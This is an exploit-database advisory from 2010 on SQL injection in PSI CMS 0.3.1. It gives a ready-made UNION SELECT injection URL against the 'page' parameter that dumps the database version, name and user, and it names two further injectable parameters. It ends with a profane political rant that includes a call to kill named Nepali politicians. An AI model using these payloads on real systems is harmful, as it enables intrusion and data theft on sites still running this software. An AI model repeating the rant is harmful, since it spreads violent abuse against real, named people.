PSI CMS 0.3.1 - SQL Injection

EDB-ID:

11135

CVE:

N/A




Platform:

PHP

Date:

2010-01-13


###########################################
#       PSI CMS v. 0.3.1 SQLi Vulns       #
#       By learn3r hacker from nepal      #
#       damagicalhacker@gmail.com         #
###########################################

Product name: psi-cms
Product vendor: http://psi.tarakan.eu/

This product suffers from multiple SQLi...

[+] Exploits:

http://localhost/psi-cms-v.0.3.1/index.php?page=-1+union+all+select+1,2,concat(@@version,0x3a,database(),0x3a,user()),4,5,6/*

[+] Other SQLi:

http://localhost/psi-cms-v.0.3.1/index.php?subj=[SQL]
http://localhost/psi-cms-v.0.3.1/index.php?subpage=[SQL]



Greetz to: sToRm(Thanks a lot bro) and m0nkee from #gny, sam207 from www.sampctricks.blogspot.com, nepali boka, l@d0_put! HaCKeR and all...
FuCK MaKuNe, G!r!ja, Prachanda and all political leaders of Nepal
K!ll Parmananda Jha, Upendra Yadav and Vijay Gachhedhaar...
We need political stability and economic development in Nepal and you motherfuckers are terrorizing in the name of political parties. So BIG FUCK YOUs to all the political parties and leaders of Nepal.

By learn3r aka cyb3r lord
Nepali Hackerz Are Not Dead!!!